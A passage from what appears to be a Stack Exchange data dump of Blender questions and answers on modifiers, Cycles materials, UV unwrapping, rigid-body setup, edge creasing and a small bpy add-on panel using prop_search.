&lt;em&gt;Reverse&lt;/em&gt; untoggled;&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;strong&gt;Build&lt;/strong&gt; modifier to the original object, toggle &lt;em&gt;Reverse&lt;/em&gt; in the modifier stack;&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;strong&gt;Wireframe&lt;/strong&gt; modifier and a &lt;strong&gt;Build&lt;/strong&gt; modifier to the duplicated object, leave &lt;em&gt;Reverse&lt;/em&gt; untoggled this time.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After tweaking the modifier settings a bit, you will simply get something like this when playing animation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BEtn6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27776&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example file&lt;/strong&gt;&lt;/a&gt; FYI.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-03-23T02:19:45.520" LastActivityDate="2014-03-23T02:19:45.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7960" PostTypeId="1" AcceptedAnswerId="7962" CreationDate="2014-03-22T16:47:38.140" Score="5" ViewCount="1752" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QDRNE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a bridge, created the uvs and created a material with a texture in cycles. I can see the textured result when I set the viewport shading to material, but when I try to render the image, the material just appears to be black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this could happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27780&quot; rel=&quot;noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1672" LastEditorUserId="1672" LastEditDate="2014-03-22T17:15:22.693" LastActivityDate="2014-03-22T17:20:20.597" Title="Textures in cycles are black" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7962" PostTypeId="2" ParentId="7960" CreationDate="2014-03-22T17:20:20.597" Score="7" Body="&lt;p&gt;The bridge is showing up as black because it has no shader on it. You need to add a shader to it to be able to render it. Let's use a diffuse shader.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the node editor, &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; Shader -&gt; Diffuse&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Connect the output from the Hue node to the color input of the diffuse shader.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Connect the BSDF output from the diffuse shader to the Material Output's Surface input.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5M5Qb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jCGFp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-22T17:20:20.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7963" PostTypeId="2" ParentId="7938" CreationDate="2014-03-22T17:42:39.063" Score="8" Body="&lt;p&gt;There are many possible approaches. If you are going to animate this or want to play with the angles for the final render one possible solution are modifiers. Please bear in mind, that these are very specific questions and the solution might be somewhat complex, so I can only outline the basics and not every step. I will try to keep it simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First goal is to create a region ABC that auto-updates when we rotate the tori.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the 3D cursor is at the centre. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create region ABC add a UV Sphere and a cube. Select the cube and scale it up a bit, so that it contains the sphere completely with a margin. Move one of its sides to the centre of the sphere in &quot;Edit Mode&quot;. Back in &quot;Object Mode&quot; copy the cube two times and rotate the copies by 90 degrees around 2 different global axes. Lets name the cubes Cube.A, Cube.B and Cube.C. Move all cubes to layer 2. (ok, mathematically these cubes are now cuboids.. but lets call them cubes for simplicity)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy the sphere 2 times. Lets name the spheres Sphere.Fill, Sphere.Wire, Sphere.ABC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move Sphere.Fill and Sphere.Wire to layer 3. Select Sphere.ABC and add a &quot;Solidify Modifier&quot;. Change thickness e.g. to 0.060 or less and offset to 1. Add 3 &quot;Boolean Modifiers&quot; and set the target to the 3 cubes respectively. Set &quot;Operation&quot; of all 3 modifiers to &quot;Difference&quot;. This is, what it should look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fOU9s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the angle labels add another UV Sphere and scale it down e.g. 0.5 and move its centre to one corner of ABC on the surface of Sphere.Fill. Lets name it Sphere.Cut. Add another &quot;Boolean Modifier&quot; to Sphere.ABC and set its &quot;Operation&quot; to &quot;Difference&quot;, target to Sphere.Cut. Add an &quot;EdgeSplit Modifier&quot; to Sphere.ABC. Copy Sphere.ABC and change the Operation of the last &quot;Boolean Modifier&quot; to &quot;Intersect&quot;. Lets name the copy Sphere.Angle. This is what it should look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/muQNc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the text label of the angle add &quot;Text&quot; and tab in to change it to whatever you need. In the text properties under &quot;Paragraph&quot; change align to centre. Place the object centre of the text slightly above the surface of Sphere.Fill inside of Sphere.Cut and parent it to Sphere.Cut. Add a &quot;Shrinkwrap Modifier&quot; to the text and set the target to Sphere.Fill. Tick on &quot;Keep above Surface&quot;. Change the offset until the text is above the surface of Sphere.Angle. This is what it should look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/peRoM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some notes about materials. Enable Z Transparency for all materials. This allows to set &quot;Z-Offset&quot; which avoids unwanted flickering for overlapping geometry (also called Z-fighting). For Sphere.Wire switch the material type from &quot;Surface&quot; to &quot;Wire&quot; and &quot;Z-Offset&quot; e.g. of 0.1 or less. Increase the &quot;Z-Offset&quot; slightly for Sphere.Angle and Sphere.ABC and then again for the Text. For this simple example its enough to set &quot;No Shadow&quot; for the single sun lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kva4A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the tori you can use bezier circles with another bezier circle as Bevel Object. Then you can parent those circles to the cubes respectively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afterwards rotating the cubes should update region ABC automatically. Sphere.Cut must be tracked manually. A rig might be needed for animation but this is beyond the topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o0bNO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-03-22T19:59:29.213" LastActivityDate="2014-03-22T19:59:29.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7964" PostTypeId="2" ParentId="7958" CreationDate="2014-03-22T17:51:39.337" Score="3" Body="&lt;p&gt;I am assuming you are talking about material nodes etc. If you &lt;em&gt;append&lt;/em&gt; the object into the new file, it will bring over anything attached to it automatically such as materials and any node setups associated with it. Use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F1&lt;/kbd&gt; or go to &lt;em&gt;File &gt; Append&lt;/em&gt; and navigate into the blend file as you would a folder, open the &lt;em&gt;Object&lt;/em&gt; folder and select the object that you want to copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jKgv7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/questions/81/how-can-i-reuse-existing-materials-objects-etc-from-an-existing-blend&quot;&gt;How can I reuse existing materials, objects, etc from an existing .blend?&lt;/a&gt; for more info.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Alternatively, a much faster and easier way is to just copy paste the object directly into the new file by using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;(Copy selection to buffer)&lt;/em&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; &lt;em&gt;(Paste selection from buffer)&lt;/em&gt;. This will also bring over anything associated with the object.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-03-22T17:51:39.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7965" PostTypeId="1" AcceptedAnswerId="7966" CreationDate="2014-03-22T18:20:44.670" Score="8" ViewCount="8053" Body="&lt;p&gt;I'm having problems using the UV mapping in blender 2.67. Specifically, I am trying to unwrap a really simple mesh, but the UV map is still giving me a net where some of the boxes are completely out of proportion to the others, which causes the texture to stretch horribly. Here is a picture to illustrate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IktdG.png&quot; alt=&quot;Mesh on left gives UV map on right&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh only has those three faces you can see in the picture, and the single seam on the front corner. It's a trivially simple mesh, so I really don't understand why the two side faces are being stretched in the UV map to be the same size as the top face. I've tried clicking the average islands scale button as suggested by some of the answers to other questions but that has no effect. It's frustrating because it seems so simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully someone can show me the presumably simple mistake I am making!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Just to make this clearer, I have already added a seam as the first answer suggests i do. Hopefully this picture will make that clearer, the yellow arrow is pointing to the edge i seamed. The mesh is only three faces so should only need this single seam. The image shows the mesh from infront and behind/underneath so it should make more sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bvSN9.png&quot; alt=&quot;Left shows looking from infront/above, right shows looking from behind/beneath&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double Edit: One more picture for clarity on the seam issue. The mesh is unfolding correctly, it is just the scale of the unfolded map that is incorrect (in relation to one another)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XGOib.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2878" LastEditorUserId="2878" LastEditDate="2014-03-22T19:20:58.057" LastActivityDate="2015-12-22T04:15:23.110" Title="Simple UV Mesh Unwrapping Scale issue" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7966" PostTypeId="2" ParentId="7965" CreationDate="2014-03-22T18:59:14.577" Score="8" Body="&lt;p&gt;If you scaled you box in Object mode you will need to apply the scale to get the faces the right size. To apply the scale &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; -&gt; Scale&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to add seams to properly unwrap your mesh. If you do not use seam and try to unwrap you will get a weird and distorted UV map. To add a seam you can select and edge &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;E&lt;/kbd&gt; -&gt; Mark Seams. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/WUYHukl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you add enough seems to cleanly separate faces in the correct places you can unwrap the mesh, &lt;kbd&gt;U&lt;/kbd&gt; -&gt; Unwrap. Make sure you select all polygons before unwrapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/9YXfXFa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-22T19:15:46.093" LastActivityDate="2014-03-22T19:15:46.093" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7967" PostTypeId="2" ParentId="7298" CreationDate="2014-03-22T19:41:22.603" Score="34" Body="&lt;p&gt;It is also important to apply scale when doing UV unwrapping. When you scale an object in object mode the UV unwrap does not see the scale, it will unwrap the mesh as if you had not scaled it.&lt;/p&gt;&#xA;&lt;h1&gt;Scale not applied&lt;/h1&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YYvtE.png&quot; alt=&quot;enter image description here&quot; /&gt;   &lt;img src=&quot;https://i.imgur.com/ktLfUI6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Scale applied&lt;/h1&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/VfWPdjd.png&quot; alt=&quot;enter image description here&quot; /&gt;   &lt;img src=&quot;https://i.stack.imgur.com/RDOMx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-22T19:41:22.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7968" PostTypeId="2" ParentId="7943" CreationDate="2014-03-22T20:16:42.963" Score="3" Body="&lt;p&gt;There are several problems in your file:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;All the objects have un-applied scale, which &lt;a href=&quot;https://blender.stackexchange.com/q/7298/599&quot;&gt;can cause rigid-body simulations to behave strangely&lt;/a&gt;. Apply the scale to the objects mesh data with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt;Scale&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The SVG/star object's origin is not centered. The origin is used to determine the center of mass, so if it's in an odd place (as in this case), it will cause strange behavior. Center the origin with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; Origin to Center of Mass&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The SVG mesh has some strange topology/overlapping faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SVG mesh is a little messy, with non-manifold geometry and overlapping faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rA3Dj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try deleting all the faces and then adding loop cuts at the intersections to get a mesh like this (click for slower speed):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/WatchfulBrilliantFlickertailsquirrel#?speed=0.25&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/WatchfulBrilliantFlickertailsquirrel.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f98gs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Optimizations:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are few minor optimizations you can make too:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the floor solid. Rigid-body simulation likes manifold meshes more than non-manifold meshes (such as a plane). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another advantage to using a floor with thickness is you can use the &lt;em&gt;Box&lt;/em&gt; collision shape for it, which tends to be faster and more stable than the &lt;em&gt;Mesh&lt;/em&gt; option.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;em&gt;Box&lt;/em&gt; option for the cube. It's always better to use the primitive collision shapes where possible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the mesh collision shape on the SVG. Because the SVG has concave parts, only &lt;em&gt;mesh&lt;/em&gt; will allow it to collide accurately.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Result&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XVHSK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27782&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-03-22T20:29:11.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7969" PostTypeId="1" CreationDate="2014-03-22T21:11:49.133" Score="2" ViewCount="474" Body="&lt;p&gt;I want to get a lot of performance in rendering, but I also want stability and useful features that can be included in Blender builds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GraphicAll builds seem to be geared towards a more specific set of features people might want, and they may include extra CUDA kernels (Blender reports that my card is 1.1, but the specifications don't say anything about it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I stick to official builds from the Blender Foundation, or are GraphicAll builds more suited towards my needs? What's the difference, anyway?&lt;/p&gt;&#xA;" OwnerUserId="2880" LastActivityDate="2014-03-22T21:11:49.133" Title="What's the difference between official builds and GraphicAll builds?" Tags="&lt;versions&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-01-22T02:24:31.750" CommunityOwnedDate="2014-03-22T21:16:39.967" ContentLicense="CC BY-SA 3.0" />
  <row Id="7970" PostTypeId="1" CreationDate="2014-03-22T21:40:55.797" Score="3" ViewCount="1230" Body="&lt;p&gt;How should I deal with the horizon in a scene? I have tried blocking it with fog, a hill, or even water but they all tend to look tacky. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Showing none of the sky tends to make it look flat.  What should I do to make the horizons look nice instead of just cutting off into the sky?&lt;/p&gt;&#xA;" OwnerUserId="1911" LastEditorUserId="12" LastEditDate="2014-03-22T21:55:52.023" LastActivityDate="2014-03-23T04:36:47.297" Title="How should I deal with horizons?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7971" PostTypeId="1" CreationDate="2014-03-23T01:24:35.333" Score="5" ViewCount="3436" Body="&lt;p&gt;I have an image explanation of what I want to achieve. Here it is:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/a52c5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now the whole edge is sharp. It is giving me a really hard time.&#xA;Also here is the model:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/zvempvps0r4815j/glock_forum2.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/zvempvps0r4815j/glock_forum2.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="2881" LastEditorUserId="2173" LastEditDate="2014-04-27T16:33:12.037" LastActivityDate="2014-04-27T16:33:12.037" Title="How can I make some edges on my model sharper and others more rounded?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="9" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7972" PostTypeId="2" ParentId="7971" CreationDate="2014-03-23T01:47:02.540" Score="5" Body="&lt;h2&gt;&lt;strong&gt;Mean Crease&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I think the function you are looking for is called Mean Crease. It makes sharper edges when you are using a Subsurface modifier for example. Here's how it's used:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eirwZ.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want, once you have the edges selected in Edit mode, instead of manually adjusting the Mean Crease value as shown above, you can use the keyboard hotkeys for Mean Crease with the mouse:&lt;br&gt;&#xA;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; -&gt; drag the mouse&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-23T02:34:05.447" LastActivityDate="2014-03-23T02:34:05.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7973" PostTypeId="1" AcceptedAnswerId="7977" CreationDate="2014-03-23T02:36:18.777" Score="10" ViewCount="5047" Body="&lt;p&gt;In my addon panel, how can I have an object selection box?  And what data type would I use to store the the selected object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VQqcu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2020-10-08T10:43:18.553" Title="Object selection box in addon" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7974" PostTypeId="2" ParentId="7973" CreationDate="2014-03-23T03:01:30.593" Score="9" Body="&lt;p&gt;Use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.UILayout.html#bpy.types.UILayout.prop_search&quot; rel=&quot;nofollow noreferrer&quot;&gt;prop_search()&lt;/a&gt;, a &lt;code&gt;StringProperty&lt;/code&gt; and a &lt;code&gt;CollectionProperty&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;enum_items = (&#xA;    ('FOO', 'Foo', ''),&#xA;    ('BAR', 'Bar', '')&#xA;)&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        obj = context.object&#xA;&#xA;        col = layout.column()        &#xA;        col.prop_search(context.scene, &quot;coll_string&quot;, context.scene, &quot;coll&quot;, icon='OBJECT_DATA')&#xA;&#xA;def populate_coll(scene):&#xA;    bpy.app.handlers.scene_update_pre.remove(populate_coll)&#xA;    scene.coll.clear()&#xA;    for identifier, name, description in enum_items:&#xA;        scene.coll.add().name = name&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;    bpy.types.Scene.coll = bpy.props.CollectionProperty(&#xA;        type=bpy.types.PropertyGroup&#xA;    )&#xA;&#xA;    bpy.types.Scene.coll_string = bpy.props.StringProperty()&#xA;&#xA;    # Hack for testing&#xA;    bpy.app.handlers.scene_update_pre.append(populate_coll)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Scene.coll&#xA;    del bpy.types.Scene.coll_string&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For limitations please read:&lt;br&gt;&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/6975/is-it-possible-to-use-bpy-props-pointerproperty-to-store-a-pointer-to-an-object&quot;&gt;Is it possible to use bpy.props.PointerProperty to store a pointer to an object?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2014-03-23T03:01:30.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7975" PostTypeId="2" ParentId="7970" CreationDate="2014-03-23T04:36:47.297" Score="1" Body="&lt;p&gt;Unfortunately I don't have enough points to make this a comment, but the answer to this question is entirely subjective. &quot;Tacky&quot; &quot;flat&quot; and &quot;look nice&quot; could mean many different things to different people.&#xA;A visual reference to what you've tried that's not working and a hint of what it is that you're trying to accomplish would be a better starting point...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some suggestions: It does help to have some atmospheric fog. Objects close to the camera should be sharper than those far away. You're always looking at the horizon through the humidity and other particles in the air, therfore count on some distortion caused by refraction or dispersion. In a landscape think of the horizon line as the brightest value, and make it fall at a strong point in your composition.&#xA;The horizon is so very far away, use the depth of field to blur it and bring the elements in the foreground in focus.&#xA;The sky is never as single color, but a subtle canvas of different tonalities. Use gradients and textures on it too.&#xA;You should look into the the vast history of painting (the subject has been dealt with since the renaissance).&#xA;Pick up a book or two on perspective and composition. There's been rivers of ink written about this...&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-03-23T04:36:47.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7976" PostTypeId="1" CreationDate="2014-03-23T09:29:51.157" Score="1" ViewCount="224" Body="&lt;p&gt;I have a &lt;em&gt;UV unwrapped&lt;/em&gt; plane and some faces assigned in Vertex Group. What is the best way to get an image from this data? Maybe a  bLack and white image, it would best  if it could be scripted in the &lt;code&gt;bpy&lt;/code&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/puCng.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2423" LastEditorUserId="3127" LastEditDate="2014-12-16T00:12:48.210" LastActivityDate="2015-01-15T00:17:00.730" Title="What is the best way to get image from vertex group?" Tags="&lt;uv&gt;&lt;blender-internal-render-engine&gt;&lt;vertex-groups&gt;" AnswerCount="0" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7977" PostTypeId="2" ParentId="7973" CreationDate="2014-03-23T09:40:58.570" Score="16" Body="&lt;p&gt;Building off of the answer by @CoDEmanX, here's a simple example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy    &#xA;&#xA;class OBJECT_PT_HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scene = context.scene               &#xA;        layout.prop_search(scene, &quot;theChosenObject&quot;, scene, &quot;objects&quot;)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.theChosenObject = bpy.props.StringProperty()&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Object.theChosenObject&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oJZ26.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;How script works&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.UILayout.html#bpy.types.UILayout.prop_search&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;prop_search&lt;/code&gt;&lt;/a&gt; command lets the user choose one item from a bpy &quot;collection&quot; (in this case, the collection &lt;code&gt;context.scene.objects&lt;/code&gt;) and saves the name of that item into a string (the string &lt;code&gt;context.scene.theChosenObject&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to use the object in a different part of script.  Use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene = context.scene&#xA;obj = scene.objects[scene.theChosenObject]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the way, if you had wanted a &quot;Materials 